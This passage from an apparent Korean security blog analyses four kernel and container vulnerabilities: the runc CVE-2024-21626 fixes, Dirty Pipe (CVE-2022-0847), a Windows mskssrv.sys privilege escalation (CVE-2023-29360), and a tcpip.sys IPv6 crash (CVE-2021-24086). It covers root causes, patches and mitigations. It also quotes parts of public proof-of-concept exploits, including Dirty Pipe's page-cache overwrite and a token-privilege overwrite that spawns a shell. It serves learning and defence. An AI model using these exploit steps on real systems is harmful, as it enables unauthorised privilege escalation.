			// don't have any choice.
			return
		}
		if logs.IsLogrusFd(uintptr(fd)) {
			// Do not close the logrus output fd. We cannot exec a pipe, and
			// the contents are quite limited (very little attacker control,
			// JSON-encoded) making shellcode attacks unlikely.
			return
		}
		// There's nothing we can do about errors from close(2), and the
		// only likely error to be seen is EBADF which indicates the fd was
		// already closed (in which case, we got what we wanted).
		_ = unix.Close(fd)
	})
}

`/sys/fs/cgroup` 핸들 누수 방지(<a href="https://github.com/opencontainers/runc/commit/89c93ddf289437d5c8558b37047c54af6a0edb48">89c93dd</a>)

cgroupRootHandle을 추가하고 설정 중 오류가 발생하여 범위 밖으로 빠져나오는 경우 에러를 발생시켜 가비지 컬렉터에 의한 자동 처리가 이루어지도록 수정되었습니다.

+	cgroupRootHandle *os.File
...

	if err != nil {
		err = &os.PathError{Op: "openat2", Path: path, Err: err}
-		// Check if cgroupFd is still opened to cgroupfsDir
+		// Check if cgroupRootHandle is still opened to cgroupfsDir
		// (happens when this package is incorrectly used
		// across the chroot/pivot_root/mntns boundary, or
		// when /sys/fs/cgroup is remounted).
		//
		// TODO: if such usage will ever be common, amend this
-		// to reopen cgroupFd and retry openat2.
-		fdPath, closer := utils.ProcThreadSelf("fd/" + strconv.Itoa(cgroupFd))
+		// to reopen cgroupRootHandle and retry openat2.
+		fdPath, closer := utils.ProcThreadSelf("fd/" + strconv.Itoa(int(cgroupRootHandle.Fd())))
		defer closer()
		fdDest, _ := os.Readlink(fdPath)
		if fdDest != cgroupfsDir {
-			// Wrap the error so it is clear that cgroupFd
+			// Wrap the error so it is clear that cgroupRootHandle
			// is opened to an unexpected/wrong directory.
-			err = fmt.Errorf("cgroupFd %d unexpectedly opened to %s != %s: %w",
-				cgroupFd, fdDest, cgroupfsDir, err)
+			err = fmt.Errorf("cgroupRootHandle %d unexpectedly opened to %s != %s: %w",
+				cgroupRootHandle.Fd(), fdDest, cgroupfsDir, err)
		}
		return nil, err
	}

`runc init` 실행 전 모든 비표준 입/출력 파일 디스크립터 `O_CLOEXEC` 플래그 설정(<a href="https://github.com/opencontainers/runc/commit/ee73091a8d28692fa4868bac81aa40a0b05f9780">ee73091</a>)

파일 디스크립터 유출을 방지하기위해 runc init 이전에 열린 파일 비표준 파일 디스크립터에 대해서 O_CLOEXEC 플래그를 설정합니다.

해당 플래그는 파일을 열고나서 fork나 exec 계열의 시스템 콜 함수 호출시 자동으로 파일을 닫도록합니다.

	// Before starting "runc init", mark all non-stdio open files as O_CLOEXEC
	// to make sure we don't leak any files into "runc init". Any files to be
	// passed to "runc init" through ExtraFiles will get dup2'd by the Go
	// runtime and thus their O_CLOEXEC flag will be cleared. This is some
	// additional protection against attacks like CVE-2024-21626, by making
	// sure we never leak files to "runc init" we didn't intend to.
	if err := utils.CloseExecFrom(3); err != nil {
		return fmt.Errorf("unable to mark non-stdio fds as cloexec: %w", err)
	}

Mitigation

해당 취약점에 대한 보안 업데이트를 통해 취약점을 완화시킬 수 있습니다.

References

<a href="https://nvd.nist.gov/vuln/detail/cve-2024-21626">https://nvd.nist.gov/vuln/detail/cve-2024-21626</a>
<a href="https://github.com/opencontainers/runc/security/advisories/GHSA-xr7r-f8xq-vfvv">https://github.com/opencontainers/runc/security/advisories/GHSA-xr7r-f8xq-vfvv</a>
<a href="https://nitroc.org/en/posts/cve-2024-21626-illustrated/">https://nitroc.org/en/posts/cve-2024-21626-illustrated/</a>
<a href="https://www.vicarius.io/vsociety/posts/leaky-vessels-part-1-cve-2024-21626">https://www.vicarius.io/vsociety/posts/leaky-vessels-part-1-cve-2024-21626</a>

CVE-2022-0847

Tue, 07 Jan 2025 15:00:00 GMT

Intro

TOOR 팀 활동을 하며 분석하게된 리눅스 커널 원데이 취약점에 관한 글입니다. <p align="center"><img src="/assets/img/toor.png"/></p>

이번에 알아볼 Dirty Pipe 취약점은 2022년 3월 7일에 공개된 리눅스 파이프 처리와 관련된 커널 취약점입니다.

해당 취약점은 리눅스의 pipe 연산 과정중 파이프 버퍼에 설정된 플래그값이 파이프관련 시스템 콜에서 적절하게 초기화가 진행되지 않고 사용되어 발생하는 취약점입니다.

이로인해 공격자는 읽기 권한이 있는 파일의 페이지 캐시를 덮어쓸 수 있습니다.

본 글은 선행 연구를 진행하신 다른 연구원분들의 글들을 읽고 제 나름 분석을 진행하며 취약점을 공부하며 이해하고 정리해본 결과로 작성하게된 글입니다. 나름의 분석을 해봤지만 맞지 않는 부분이 있을 수 있으며, 만약 이를 발견하셨을 시 피드백해주시면 적극 반영하도록 하겠습니다. 취약점 및 PoC 분석에 많은 도움이된 자료는 다음과 같습니다.

<a href="https://dirtypipe.cm4all.com/">https://dirtypipe.cm4all.com/</a>
<a href="https://blogs.oracle.com/linux/post/pipe-and-splice">https://blogs.oracle.com/linux/post/pipe-and-splice</a>
<a href="https://0x434b.dev/learning-linux-kernel-exploitation-part-2-cve-2022-0847/">https://0x434b.dev/learning-linux-kernel-exploitation-part-2-cve-2022-0847/</a>

Vuln

CVE-ID : CVE-2022-0847
CWE-665: Improper Initialization

RCA

취약점은 파이프의 특정 연산으로 인해 설정된 PIPE_BUF_FLAG_CAN_MERGE의 초기화가 제대로 진행되지 않아서 발생하게됩니다. 이게 무슨뜻일까요?

리눅스가 파이프를 생성하는 호출 흐름을 보면 다음과 같습니다.

위의 플로우를 보면 알 수 있듯, 파이프를 생성할 때 데이터의 이동을 위한 pipe_buffer 구조체를 생성합니다.

리눅스 커널 버전 5.16.10에서의 파이프 버퍼의 구조체를 확인해보면 다음과 같습니다. (본 글에서 오디팅에 사용된 코드들은 전부 리눅스 커널 버전 5.16.10의 소스 코드입니다.)

/**
 *	struct pipe_buffer - a linux kernel pipe buffer
 *	@page: the page containing the data for the pipe buffer
 *	@offset: offset of data inside the @page
 *	@len: length of data inside the @page
 *	@ops: operations associated with this buffer. See @pipe_buf_operations.
 *	@flags: pipe buffer flags. See above.
 *	@private: private data owned by the ops.
 **/
struct pipe_buffer {
	struct page *page;
	unsigned int offset, len;
	const struct pipe_buf_operations *ops;
	unsigned int flags;
	unsigned long private;
};

구조체에서도 알 수 있듯, 파이프 버퍼는 데이터 이동을 위해 페이지를 참조하고 있습니다.

이 버퍼는 pipe_inode_info에서 다음과 같이 배열(struct pipe_buffer *bufs) 형태로 관리됩니다.

/**
 *	struct pipe_inode_info - a linux kernel pipe
 *	@mutex: mutex protecting the whole thing
 *	@rd_wait: reader wait point in case of empty pipe
 *	@wr_wait: writer wait point in case of full pipe
 *	@head: The point of buffer production
 *	@tail: The point of buffer consumption
 *	@note_loss: The next read() should insert a data-lost message
 *	@max_usage: The maximum number of slots that may be used in the ring
 *	@ring_size: total number of buffers (should be a power of 2)
 *	@nr_accounted: The amount this pipe accounts for in user->pipe_bufs
 *	@tmp_page: cached released page
 *	@readers: number of current readers of this pipe
 *	@writers: number of current writers of this pipe
 *	@files: number of struct file referring this pipe (protected by ->i_lock)
 *	@r_counter: reader counter
 *	@w_counter: writer counter
 *	@poll_usage: is this pipe used for epoll, which has crazy wakeups?
 *	@fasync_readers: reader side fasync
 *	@fasync_writers: writer side fasync
 *	@bufs: the circular array of pipe buffers
 *	@user: the user who created this pipe
 *	@watch_queue: If this pipe is a watch_queue, this is the stuff for that
 **/
struct pipe_inode_info {
	struct mutex mutex;
	wait_queue_head_t rd_wait, wr_wait;
	unsigned int head;
	unsigned int tail;
	unsigned int max_usage;
	unsigned int ring_size;
#ifdef CONFIG_WATCH_QUEUE
	bool note_loss;
#endif
	unsigned int nr_accounted;
	unsigned int readers;
	unsigned int writers;
	unsigned int files;
	unsigned int r_counter;
	unsigned int w_counter;
	unsigned int poll_usage;
	struct page *tmp_page;
	struct fasync_struct *fasync_readers;
	struct fasync_struct *fasync_writers;
	struct pipe_buffer *bufs;
	struct user_struct *user;
#ifdef CONFIG_WATCH_QUEUE
	struct watch_queue *watch_queue;
#endif
};

위의 파이프에 대한 정보는 get_pipe_inode에서 생성된 inode에 등록됩니다. 다음 get_pipe_inode 일부의 코드에서 볼 수 있듯, 파이프 연산에 대한 테이블(pipefifo_fops)이 삽입됩니다.

static struct inode * get_pipe_inode(void)
{
  struct inode *inode = new_inode_pseudo(pipe_mnt->mnt_sb);
	struct pipe_inode_info *pipe;
  
  ...

  pipe = alloc_pipe_info();

  ...

  inode->i_pipe = pipe;
	pipe->files = 2;
	pipe->readers = pipe->writers = 1;
	inode->i_fop = &pipefifo_fops;

  ...
}

테이블에 명시된 연산들을 살펴보면 실제 파이프를 통해 특정 연산(read, write등)를 수행했을 때 동작하게되는 함수들을 알 수 있습니다.

const struct file_operations pipefifo_fops = {
	.open		= fifo_open,
	.llseek		= no_llseek,
	.read_iter	= pipe_read,
	.write_iter	= pipe_write,
	.poll		= pipe_poll,
	.unlocked_ioctl	= pipe_ioctl,
	.release	= pipe_release,
	.fasync		= pipe_fasync,
	.splice_write	= iter_file_splice_write,
};

파이프에 쓰기 작업을 할 때의 pipe_write 함수의 일부 코드를 살펴봅시다. 다음은 파이프가 초기상태로 파이프 버퍼에 페이지가 비어있는 경우 pipe_write는 다음과 같은 루틴을 통해 페이지를 할당하게되고 파이프 버퍼 슬롯에 페이지가 삽입됩니다. 해당 영역에는 유저 영역에서 넘어온 데이터가 기록됩니다.

for (;;) {
		if (!pipe->readers) {
			send_sig(SIGPIPE, current, 0);
			if (!ret)
				ret = -EPIPE;
			break;
		}

		head = pipe->head;
		if (!pipe_full(head, pipe->tail, pipe->max_usage)) {
			unsigned int mask = pipe->ring_size - 1;
			struct pipe_buffer *buf = &pipe->bufs[head & mask];
			struct page *page = pipe->tmp_page;
			int copied;

			if (!page) {
				page = alloc_page(GFP_HIGHUSER | __GFP_ACCOUNT);
				if (unlikely(!page)) {
					ret = ret ? : -ENOMEM;
					break;
				}
				pipe->tmp_page = page;
			}

			/* Allocate a slot in the ring in advance and attach an
			 * empty buffer.  If we fault or otherwise fail to use
			 * it, either the reader will consume it or it'll still
			 * be there for the next write.
			 */
			spin_lock_irq(&pipe->rd_wait.lock);

			head = pipe->head;
			if (pipe_full(head, pipe->tail, pipe->max_usage)) {
				spin_unlock_irq(&pipe->rd_wait.lock);
				continue;
			}

			pipe->head = head + 1;
			spin_unlock_irq(&pipe->rd_wait.lock);

			/* Insert it into the buffer array */
			buf = &pipe->bufs[head & mask];
			buf->page = page;
			buf->ops = &anon_pipe_buf_ops;
			buf->offset = 0;
			buf->len = 0;
			if (is_packetized(filp))
				buf->flags = PIPE_BUF_FLAG_PACKET;
			else
				buf->flags = PIPE_BUF_FLAG_CAN_MERGE;
			pipe->tmp_page = NULL;

			copied = copy_page_from_iter(page, 0, PAGE_SIZE, from);

      ...

위 코드 중에서 다음 조건문에 의해서 할당된 버퍼 정보에 PIPE_BUF_FLAG_CAN_MERGE가 설정될 수 있다는 사실을 알 수 있습니다.

    if (is_packetized(filp))
      buf->flags = PIPE_BUF_FLAG_PACKET;
    else
      buf->flags = PIPE_BUF_FLAG_CAN_MERGE;

is_packetized 함수는 생성된 파이프에 대한 파일 포인터의 flags에 O_DIRECT가 설정되었는지 확인하는 함수로 기본적으로 사용자 영역에서 이 플래그를 제어(설정)할 수 있습니다.

static inline int is_packetized(struct file *file)
{
   return (file->f_flags & O_DIRECT) != 0;
}

따라서 파이프 생성, 데이터 기록시에 파이프 버퍼의 flags에 PIPE_BUF_FLAG_CAN_MERGE 플래그가 설정된 파이프 버퍼를 만들 수 있습니다.

이렇게 설정된 PIPE_BUF_FLAG_MERGE 플래그는 지금부터 알아볼 splice 시스템 콜 함수에서 적절하게 초기화되지 않아 문제가됩니다.

splice 시스템 콜은 파이프와 파이프간, 혹은 파이프와 파일간의 데이터 이동에 있어서 효율적인 처리를 위해 고안된 함수로, 데이터를 전송하는 과정에 있어서 유저 공간으로의 데이터 복사를 필요로 하지않고 커널 영역에서의 데이터 이동이 가능하게해줍니다.

즉, 파일에 있는 데이터를 파이프에 옮기거나 파이프에 있는 데이터를 파이프에 옮기는 과정에서 유저 영역으로의 복사를 생략하고, 커널 영역에서의 이동만으로 효율적인 처리를 하는 함수라고 생각하면됩니다.

splice 시스템 콜은 파이프를 대상으로한 시스템 콜로 다음과 같은 경우를 지원합니다.

pipe → pipe
file → pipe
pipe → file

이러한 splice의 호출 흐름 중 file → pipe의 흐름에 대한 그림을 그려보면 다음과 같아집니다.

<a href="https://nvd.nist.gov/vuln/detail/cve-2022-0847">NVD</a>의 Description 내용을 보면 알 수 있듯, 취약점은 위 흐름 중 copy_page_to_iter_pipe에서 발생하는 것을 알 수 있습니다.

플로우에 나타난 filemap_read는 페이지 캐시로부터 데이터를 읽어들입니다. 그리고 이렇게 읽어들인 페이지 정보는 copy_page_to_iter를 통해서 파이프로 전달하는 과정을 거치게됩니다.

copy_page_to_iter_pipe를 확인해보면 이렇게 읽어들인 페이지가 어떻게 파이프로 이동하는지 알 수 있습니다.

static size_t copy_page_to_iter_pipe(struct page *page, size_t offset, size_t bytes,
			 struct iov_iter *i)
{
	struct pipe_inode_info *pipe = i->pipe;
	struct pipe_buffer *buf;
	unsigned int p_tail = pipe->tail;
	unsigned int p_mask = pipe->ring_size - 1;
	unsigned int i_head = i->head;
	size_t off;

	if (unlikely(bytes > i->count))
		bytes = i->count;

	if (unlikely(!bytes))
		return 0;

	if (!sanity(i))
		return 0;

	off = i->iov_offset;
	buf = &pipe->bufs[i_head & p_mask];

  ...

	if (pipe_full(i_head, p_tail, pipe->max_usage))
		return 0;

	buf->ops = &page_cache_pipe_buf_ops;
	get_page(page);
	buf->page = page;
	buf->offset = offset;
	buf->len = bytes;

	pipe->head = i_head + 1;
	i->iov_offset = offset + bytes;
	i->head = i_head;
out:
	i->count -= bytes;
	return bytes;
}

위 코드를 보면 알 수 있듯, 앞서 가져온 페이지 캐시를 현재 파이프 버퍼의 헤드 부분에 삽입하는 것을 볼 수 있습니다. 이 과정에서 페이지 캐시에 대한 정보를 갖는 파이프 버퍼의 플래그 값이 초기화되지 않습니다. 이로인해 앞서 살펴본 pipe_write의 루틴 중 PIPE_BUF_FLAG_CAN_MERGE가 버퍼에 설정되어있을 경우의 처리로 인해서 페이지 캐시를 덮어쓸 수 있게됩니다.

static ssize_t
pipe_write(struct kiocb *iocb, struct iov_iter *from)
{
	...

		if ((buf->flags & PIPE_BUF_FLAG_CAN_MERGE) &&
		    offset + chars <= PAGE_SIZE) {
			ret = pipe_buf_confirm(pipe, buf);
			if (ret)
				goto out;

			ret = copy_page_from_iter(buf->page, offset, chars, from);
			if (unlikely(ret < chars)) {
				ret = -EFAULT;
				goto out;
			}

			buf->len += ret;
			if (!iov_iter_count(from))
				goto out;
		}
	}
  ...
}

PIPE_BUF_FLAG_CAN_MERGE가 설정되어있을 경우 pipe_write는 삽입되는 정보를 페이지 캐시에 그대로 작성하게됩니다.

이는 읽기권한만 있는 파일에도 동일하게 적용되며, 플래그가 제대로 초기화되지 않은 시점에서 읽기 권한만 존재하는 파일의 페이지 캐시를 덮어써 원하는 데이터를 읽게 유도할 수 있습니다. 자세한 공격 방식은 PoC 파트에서 알아봅시다.

PoC

PoC는 <a href="https://github.com/Arinerron/CVE-2022-0847-DirtyPipe-Exploit">여기</a>에서 확인할 수 있습니다.

먼저 공격에 사용할 파이프와 파이프 버퍼의 플래그를 설정하는 prepare_pipe 함수의 일부입니다.

/**
 * Create a pipe where all "bufs" on the pipe_inode_info ring have the
 * PIPE_BUF_FLAG_CAN_MERGE flag set.
 */
static void prepare_pipe(int p[2])
{
  ...

	/* fill the pipe completely; each pipe_buffer will now have
	   the PIPE_BUF_FLAG_CAN_MERGE flag */
	for (unsigned r = pipe_size; r > 0;) {
		unsigned n = r > sizeof(buffer) ? sizeof(buffer) : r;
		write(p[1], buffer, n);
		r -= n;
	}

	/* drain the pipe, freeing all pipe_buffer instances (but
	   leaving the flags initialized) */
	for (unsigned r = pipe_size; r > 0;) {
		unsigned n = r > sizeof(buffer) ? sizeof(buffer) : r;
		read(p[0], buffer, n);
		r -= n;
	}

	/* the pipe is now empty, and if somebody adds a new
	   pipe_buffer without initializing its "flags", the buffer
	   will be mergeable */
}

파이프를 만들고 모두 비움으로써 모든 파이프 버퍼의 플래그를 PIPE_BUF_FLAG_CAN_MERGE로 설정합니다.

이렇게 만들어지는 공격용 파이프는 main 함수에서 다음과 같이 사용됩니다.

int main() {
  ...

	const int fd = open(path, O_RDONLY); // yes, read-only! :-)

  ...

  	/* create the pipe with all flags initialized with
	   PIPE_BUF_FLAG_CAN_MERGE */
	int p[2];
	prepare_pipe(p);

	/* splice one byte from before the specified offset into the
	   pipe; this will add a reference to the page cache, but
	   since copy_page_to_iter_pipe() does not initialize the
	   "flags", PIPE_BUF_FLAG_CAN_MERGE is still set */
	--offset;
	ssize_t nbytes = splice(fd, &offset, p[1], NULL, 1, 0);

  ...
}

splice 시스템 콜을 통해 file → pipe 형태의 연산으로 파이프에 읽기 전용 파일에 대한 참조가 생성됩니다.

즉, 파이프 버퍼에 읽기 전용 파일에 대한 포인터가 담기게됐고, 플래그는 초기화되지 않은 상태입니다.

파이프는 읽기 전용 페이지 캐시에 데이터를 쓸 수 있게 됐습니다. 따라서 다음과 같은 공격 코드로 원하는 데이터를 원하는 오프셋 지점부터 써넣습니다.

/* the following write will not create a new pipe_buffer, but
	   will instead write into the page cache, because of the
	   PIPE_BUF_FLAG_CAN_MERGE flag */
	nbytes = write(p[1], data, data_size);

Patch

patch 내용은 <a href="https://lore.kernel.org/lkml/20220221100313.1504449-1-max.kellermann@ionos.com/">이곳</a>에서 확인할 수 있습니다.

--- a/lib/iov_iter.c
+++ b/lib/iov_iter.c
@@ -414,6 +414,7 @@ static size_t copy_page_to_iter_pipe(struct page *page, size_t offset, size_t by
 		return 0;
 
 	buf->ops = &page_cache_pipe_buf_ops;
+	buf->flags = 0;
 	get_page(page);
 	buf->page = page;
 	buf->offset = offset;
@@ -577,6 +578,7 @@ static size_t push_pipe(struct iov_iter *i, size_t size,
 			break;
 
 		buf->ops = &default_pipe_buf_ops;
+		buf->flags = 0;
 		buf->page = page;
 		buf->offset = 0;
 		buf->len = min_t(ssize_t, left, PAGE_SIZE);

파이프 버퍼의 플래그를 초기화 시키는 코드가 추가됐습니다.

Mitigation

해당 취약점에 대한 보안 업데이트를 통해 취약점을 완화시킬 수 있습니다.

References

<a href="https://dirtypipe.cm4all.com/">https://dirtypipe.cm4all.com/</a>
<a href="https://blogs.oracle.com/linux/post/pipe-and-splice">https://blogs.oracle.com/linux/post/pipe-and-splice</a>
<a href="https://0x434b.dev/learning-linux-kernel-exploitation-part-2-cve-2022-0847/">https://0x434b.dev/learning-linux-kernel-exploitation-part-2-cve-2022-0847/</a>
<a href="https://www.cyberone.kr/news-trends-detail?id=86147&page=1">https://www.cyberone.kr/news-trends-detail?id=86147&page=1</a>
<a href="https://ufo.stealien.com/2022-03-15/dirtypipe-review">https://ufo.stealien.com/2022-03-15/dirtypipe-review</a>
<a href="https://www.hackthebox.com/blog/Dirty-Pipe-Explained-CVE-2022-0847">https://www.hackthebox.com/blog/Dirty-Pipe-Explained-CVE-2022-0847</a>

CVE-2023-29360

Wed, 27 Nov 2024 15:00:00 GMT

Intro

TOOR 팀 활동을 하며 분석하게된 윈도우 커널 스트리밍 서비스 원데이 취약점에 관한 글입니다. <p align="center"><img src="/assets/img/toor.png"/></p>

이번에 알아볼 취약점은 2023년 6월 13일에 공개된 윈도우 커널 스트리밍 서비스 드라이버에서 발생하는 LPE 취약점 입니다.

mskssrv.sys에서 MDL을 처리하는 과정의 잘못된 인자 설정으로 인해 임의의 커널 영역을 유저 영역에서 덮어쓸 수 있게하는 취약점입니다. 이를 통해 공격자는 권한 상승을 하여 관리자 권한의 쉘을 획득하는 것이 가능해집니다.

본 글은 선행 연구를 진행하신 다른 연구원분들의 글들을 읽고 제 나름 분석을 진행하며 취약점을 공부하며 이해하고 정리해본 결과로 작성하게된 글입니다. 나름의 분석을 해봤지만 맞지 않는 부분이 있을 수 있으며, 만약 이를 발견하셨을 시 피드백해주시면 적극 반영하도록 하겠습니다. 취약점 및 PoC 분석에 많은 도움이된 자료는 다음과 같습니다.

<a href="https://big5-sec.github.io/posts/CVE-2023-29360-analysis/">https://big5-sec.github.io/posts/CVE-2023-29360-analysis/</a>
<a href="https://github.com/Nero22k/cve-2023-29360">https://github.com/Nero22k/cve-2023-29360</a>
<a href="https://blog.theori.io/chaining-n-days-to-compromise-all-part-3-windows-driver-lpe-medium-to-system-12f7821d97bb">https://blog.theori.io/chaining-n-days-to-compromise-all-part-3-windows-driver-lpe-medium-to-system-12f7821d97bb</a>

Vuln

CVE-ID : CVE-2023-29360
CWE-822: Untrusted Pointer Dereference

RCA

취약점은 mskssrv.sys의 FsAllocAndLockMdl 함수에서 발생합니다.

FsAllocAndLockMdl은 다음과 같은 흐름으로 호출됩니다. <p align="center"><img src="/assets/img/CVE-2023-29360/vulnflow.jpg"/></p>

패치전의 FsAllocAndLockMdl 함수에서는 MmProbeAndLockPages를 다음과 같은 형태로 호출합니다. <p align="center"><img src="/assets/img/CVE-2023-29360/FsAllocAndLockMdl.png"/></p> FsAllocAndLockMdl은 전달받은 VA를 물리주소와 매핑하는 MDL을 만들고 페이징 잠금을 진행합니다.

이때 MmProbeAndLockPages의 첫 번째, 두 번째 인자는 매핑할 가상주소 및 크기이며 유저 영역의 데이터를 통해 값을 설정할 수 있습니다. 세 번째 인자는 AccessMode로 MmProbeAndLockPages로 잠글 MDL이 유저 모드인지 커널모드인지에 따라 주소 검증을 진행합니다.

__int64 __fastcall MiProbeAndLockPrepare(
        __int64 a1,
        __int64 a2,
        unsigned __int64 a3,
        unsigned int a4,
        char a5,
        int a6,
        int a7)
{
	...
	  if ( a5 && (v10 > 0x7FFFFFFF0000i64 || a3 >= v10) )
	  JUMPOUT(0x140499F86i64);
	...	
}

1일 경우 UserMode로 커널 영역의 가상 주소를 매핑할 수 없게 만듭니다. 하지만 패치 전의 코드에서는 커널 모드로 주소 검증이 생략됩니다.

이를 통해 유저 영역에서 임의의 커널 주소 공간으로 MDL을 잠그는 것이 가능합니다. 이를 어떻게 악용할까요?

Exploit

IoControlCode == 0x2F0420일 경우에 호출되는 ConsumeTx는 FSFrameMdl::MapPages를 호출하게되는데, 이를 통해 사용자 영역의 주소를 앞서 잠근 커널 주소의 물리 메모리와 매핑 시킬 수 있습니다.

__int64 __fastcall FSStreamReg::ConsumeTx(FSStreamReg *this, struct FSFrameInfo *a2)
{
  ...
      v11 = FSFrameMdl::MapPages(
              (FSFrameMdl *)v9,
              *((struct _EPROCESS **)this + 7),
              *((struct _EPROCESS **)this + 8),
              (struct FSFrameInfo *)((char *)a2 + 136 * v10 + 40));
  ...
}

이렇게 매핑된 현재 프로세스의 권한 정보를 가진 물리 메모리 영역을 덮어씀으로써 권한 상승을 할 수 있습니다.

PoC

PoC는 <a href="https://github.com/Nero22k/cve-2023-29360">여기</a>에서 확인할 수 있습니다.

PoC의 일부를 확인해보면 다음과 같습니다.

int main()
{
	...
	tokenAddress = GetTokenAddress();

	uint64_t privaddr = tokenAddress + OFFSET_OF_TOKEN_PRIVILEGES;
	
	...
	
	success = PublishTx(DeviceH3, privaddr); // 토큰 권한 영역
	
	uint8_t *mappedAddress = NULL;

	success = ConsumeTx(DeviceH3, &mappedAddress); // 유저 영역에 토큰 권한 영역 매핑

	...

	if(mappedAddress != NULL)
	{
		// Enable all privileges
		memset(mappedAddress, 0xFF, 0x10);
		spawnShell();
	}
	
	...
}

앞서 살펴본 취약점으로 사용자 영역에 커널 영역의 물리주소를 매핑하고 이를 덮어쓴 후, 쉘을 실행시키는 것을 볼 수 있습니다.

Video

Patch

이번에 알아본 취약점은 FsAllocAndLockMdl에서 다음과 같은 패치가 이루어졌습니다.

- MmProbeAndLockPages(Mdl, 0, IoWriteAccess);
+ MmProbeAndLockPages(Mdl, 1, IoWriteAccess);

이로써 검증 코드가 실행되어 DeviceIoControl을 통해 커널 영역을 MDL로 잠글 수 없게되었습니다.

Mitigation

해당 취약점에 대한 보안 업데이트를 통해 취약점을 완화시킬 수 있습니다.

References

<a href="https://big5-sec.github.io/posts/CVE-2023-29360-analysis/">https://big5-sec.github.io/posts/CVE-2023-29360-analysis/</a>
<a href="https://github.com/Nero22k/cve-2023-29360">https://github.com/Nero22k/cve-2023-29360</a>
<a href="https://blog.theori.io/chaining-n-days-to-compromise-all-part-3-windows-driver-lpe-medium-to-system-12f7821d97bb">https://blog.theori.io/chaining-n-days-to-compromise-all-part-3-windows-driver-lpe-medium-to-system-12f7821d97bb</a>
<a href="http://bsodtutorials.blogspot.com/2013/12/understanding-mdls-memory-descriptor.html">http://bsodtutorials.blogspot.com/2013/12/understanding-mdls-memory-descriptor.html</a>
<a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2023-29360">https://msrc.microsoft.com/update-guide/vulnerability/CVE-2023-29360</a>

CVE-2021-24086

Mon, 04 Nov 2024 15:00:00 GMT

Intro

TOOR 팀 활동을 하며 분석하게된 윈도우 커널 드라이버 원데이 취약점에 관한 글입니다. <p align="center"><img src="/assets/img/toor.png"/></p>

이번에 알아볼 취약점은 <a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-24086">2021년 2월 9일</a>에 공개된 DoS 취약점입니다.

윈도우 tcpip.sys에서 IPv6의 재조립 패킷을 처리하는 도중 잘못된 처리로 인하여 취약점이 발생합니다.

본 글은 선행 연구를 진행하신 다른 연구원분들의 글들을 읽고 제 나름 분석을 진행하며 취약점을 공부하며 이해하고 정리해본 결과로 작성하게된 글입니다. 나름의 분석을 해봤지만 맞지 않는 부분이 있을 수 있으며, 만약 이를 발견하셨을 시 피드백해주시면 적극 반영하도록 하겠습니다. 취약점 및 PoC 분석에 많은 도움이된 자료는 다음과 같습니다.

<a href="https://doar-e.github.io/blog/2021/04/15/reverse-engineering-tcpipsys-mechanics-of-a-packet-of-the-death-cve-2021-24086/">https://doar-e.github.io/blog/2021/04/15/reverse-engineering-tcpipsys-mechanics-of-a-packet-of-the-death-cve-2021-24086/</a>
<a href="https://blog.quarkslab.com/analysis-of-a-windows-ipv6-fragmentation-vulnerability-cve-2021-24086.html">https://blog.quarkslab.com/analysis-of-a-windows-ipv6-fragmentation-vulnerability-cve-2021-24086.html</a>

Vuln

CVE-ID : <a href="https://nvd.nist.gov/vuln/detail/CVE-2021-24086">CVE-2021-24086</a>
CWE : Insufficient Information

Env

디핑 결과 분석은 현재 공개된 <a href="https://github.com/0vercl0k/CVE-2021-24086/tree/main">PoC Repository</a>에 있는 두 파일을 활용했습니다. <p align="center"><img src="/assets/img/CVE-2021-24086/poc_github_binaries.png"/></p>

동적 분석을 진행한 victim 빌드 버전은 다음과 같습니다. <p align="center"><img src="/assets/img/CVE-2021-24086/victim_version.png"></p>

Identifying the differences in the tcpip.sys driver

주어진 몇몇의 정보를 토대로 IPv6의 Fragment 패킷 재조립 과정에서 취약점이 발생한다는 사실을 알 수 있습니다.

<a href="https://msrc.microsoft.com/update-guide/en-us/vulnerability/CVE-2021-24086https://msrc.microsoft.com/update-guide/en-us/vulnerability/CVE-2021-24086">MSRC</a>에 나와있듯 취약점은 재조립 패킷 처리를 비활성화 함으로써 완화시킬 수 있습니다. 이를 통해서 재조립 과정에서 취약점이 발생할 수 있다 생각할 수 있습니다.

또한 주어진 두 파일의 IPv6를 디핑해보면 다음과 같은 두 함수에서 유사도에 차이가 생겼음을 알 수 있습니다.

IPv6pReassembleDatagram에 다음과 같은 차이가 생겼는데 특정한 연산의 결과에 대해 0xFFFF보다 큰지 체크하는 로직이 생겨났습니다.

PoC와 함께 RCA를 알아봅시다.

RCA

PoC를 작동시켜보면 다음과 같이 Ipv6pReassembleDatagram의 코드 중 NdisGetDataBuffer 호출문에서의 반환값이 NULL이 될때 NULL 포인터 역참조로 인해서 BSOD가 발생하는 모습을 볼 수 있습니다.

NdisGetDataBuffer에서 다음과 같이 NULL이 반환되고 <p align="center"><img src="/assets/img/CVE-2021-24086/null_return.png"></p>

이는 스택에 저장되었다. 이후에 참조되지만 NULL 포인터이므로 역참조 했을 때 크래시가 발생합니다. <p align="center"><img src="/assets/img/CVE-2021-24086/null_pointer_deref.png"></p>

위의 흐름을 보면 알 수 있듯, 해당 로직에선 NdisGetDataBuffer가 반환한 포인터가 NULL이 아닌 것으로 신뢰하고 있기 때문에 발생하는 모습을 볼 수 있습니다.

Ipv6pReassembleDatagram은 IPv6의 Fragmentation 패킷을 처리할 때 호출됩니다. 취약점에서 집중해야할 주요 함수들은 다음과 같습니다. <p align="center"><img src="/assets/img/CVE-2021-24086/Ipv6pReassembleDatagram.png"></p>

해당 부분의 BytesNeeded는 재조립되어야할 패킷 중 Unfragmentable part의 길이를 구하는 부분입니다. 이는 재조립될 패킷을 저장할 영역을 할당할 때 길이정보로 사용됩니다.

BytesNeeded = v3 + 40;

앞서 계산한 BytesNeeded로 필요한 데이터 영역을 할당합니다. 일때 유심하게봐야할 것은 (unsigned __int16)BytesNeeded로 2바이트로 크기 잘린다는 것입니다. 여기서 v15로 할당된 메모리 영역은 이후에 취약점을 살펴볼 때 봤던 함수인 NdisGetDataBuffer에서 사용됩니다.

NdisGetDataBuffer Call the NdisGetDataBuffer function to gain access to a contiguous block of data from a NET_BUFFER structure.

if ( (int)NetioRetreatNetBuffer(v15, (unsigned __int16)BytesNeeded, 0i64) < 0 )

앞서 v15에 할당한 메모리 영역을 다시 NdisGetDataBuffer 요구하는 모습입니다. 이때 BytesNeeded는 잘림없이 그대로 들어가게됩니다.

BytesNeededa = NdisGetDataBuffer((PNET_BUFFER)v15, BytesNeeded, 0i64, 1u, 0);

